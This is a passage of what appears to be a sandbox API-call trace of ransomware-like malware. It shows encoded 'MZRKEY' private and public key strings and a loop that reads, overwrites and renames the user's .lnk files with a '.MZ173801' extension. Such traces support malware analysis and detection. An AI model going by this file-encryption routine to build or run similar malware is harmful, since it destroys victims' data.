lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.667] GetCurrentThreadId () returned 0xab4 [0147.667] GetCurrentThreadId () returned 0xab4 [0147.667] GetCurrentThreadId () returned 0xab4 [0147.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.668] GetCurrentThreadId () returned 0xab4 [0147.668] GetCurrentThreadId () returned 0xab4 [0147.668] GetCurrentThreadId () returned 0xab4 [0147.668] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gypaWQDSFuYxA4ea_Oei.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\gypawqdsfuyxa4ea_oei.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.668] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.668] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.668] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x4aa [0147.668] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.668] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x4aa, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x4aa, lpOverlapped=0x0) returned 1 [0147.669] CloseHandle (hObject=0x280) returned 1 [0147.669] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gypaWQDSFuYxA4ea_Oei.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\gypawqdsfuyxa4ea_oei.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.670] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x4aa, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x4aa, lpOverlapped=0x0) returned 1 [0147.670] CloseHandle (hObject=0x280) returned 1 [0147.672] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gypaWQDSFuYxA4ea_Oei.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\gypawqdsfuyxa4ea_oei.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gypaWQDSFuYxA4ea_Oei.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\gypawqdsfuyxa4ea_oei.lnk.mz173801")) returned 1 [0147.673] GetCurrentThreadId () returned 0xab4 [0147.673] GetCurrentThreadId () returned 0xab4 [0147.673] GetCurrentThreadId () returned 0xab4 [0147.673] GetCurrentThreadId () returned 0xab4 [0147.673] GetCurrentThreadId () returned 0xab4 [0147.673] GetCurrentThreadId () returned 0xab4 [0147.673] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf36baee7, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf36baee7, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf36baee7, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x4bd, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="HqBE4s3H uNUYMjPX.lnk", cAlternateFileName="HQBE4S~1.LNK")) returned 1 [0147.673] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.673] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.673] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HqBE4s3H uNUYMjPX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\hqbe4s3h unuymjpx.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf36baee7, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf36baee7, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf36baee7, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x4bd)) returned 1 [0147.673] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HqBE4s3H uNUYMjPX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\hqbe4s3h unuymjpx.lnk")) returned 0x20 [0147.673] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HqBE4s3H uNUYMjPX.lnk", dwFileAttributes=0x80) returned 1 [0147.675] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.675] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 